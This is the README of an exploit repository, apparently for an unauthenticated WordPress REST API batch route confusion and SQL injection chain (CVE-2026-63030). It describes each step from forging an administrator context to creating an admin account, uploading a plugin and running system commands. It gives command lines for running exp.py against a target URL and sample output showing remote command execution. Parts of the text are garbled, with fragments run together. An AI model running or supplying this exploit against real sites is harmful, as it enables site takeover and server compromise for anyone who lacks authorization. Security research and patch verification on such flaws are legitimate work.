
WordPress 未授权RCE EXP | CVE-2026-63030
WordPress REST API batch route confusion + SQL injection leading to unauthorized admin creation → Remote Code Execution (RCE) complete exploit chain PoC.
For authorized security testing, vulnerability reproduction, and research only. Do not use against unauthorized targets.
| Item | Description |
|---|
| CVE | CVE-2026-63030 |
| Component | WordPress Core REST API (/batch/v1) |
| Affected Versions | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (subject to official announcements) |
| Prerequisites | Target has REST API batch enabled; site has at least one published post or page |
| Auth Requirement | No authentication required (Pre-Auth) |
| Impact | Create an administrator account, and can further upload a plugin to achieve RCE |
REST batch route confusion
→ author__not_in SQL injection
→ UNION forged WP_Post / oEmbed cache / Customizer changeset
→ When publishing Customizer, switch to an existing admin context
→ REST /wp/v2/users create new admin
→ Backend upload one-shot plugin
→ Execute system commands
The core is not "stacked writes to the database", but rather:
serve_batch_request_v1(), the validation phase and the dispatch phase are out of sync on the $matches / $validation indices, leading to route confusion.author_exclude enters WP_Query's author__not_in, is concatenated into NOT IN (...), forming a SQL injection.UNION SELECT, forge a complete wp_posts row, triggering oEmbed / Customizer logic to switch the current user context to an existing administrator.proc_open / passthru / system / shell_exec / exec / popen)disable_functions disables all command execution functions, admin creation can still succeed, but the RCE phase will fail.CVE-2026-63030/
├── exp.py # Complete exploit script (single file, zero dependencies)
└── README.md # This documentation
id by default)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
| Parameter | Required | Default | Description |
|---|---|---|---|
--url | Yes | None | Target WordPress root URL |
--username | No | wp2_<hex> | Administrator username to create |
--password | No | Wp2!<random> | Administrator password to create |
--email | No | <username>@wp2shell.invalid | Administrator email to create |
--command / -c | No | id | Command to execute via one-shot plugin |
--timeout | No | 60 | Single HTTP timeout (seconds) |
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
After completion, the script will attempt to:
If it fails midway, manually clean up using the credentials shown in the output.
has been disabled for security reasons, it means disable_functions has disabled the corresponding function. The PoC will try multiple execution methods in order; if all are disabled, RCE is unavailable, but the admin creation phase may still succeed.wp-admin/users.php and wp-content/plugins/./batch/v1disable_functions and minimal-privilege web user configuration to reduce the impact of RCE exploitationThe code in this repository is intended only for security research and authorized vulnerability reproduction. Users must ensure compliance with local laws and the authorization scope of the target system. The author is not responsible for any misuse.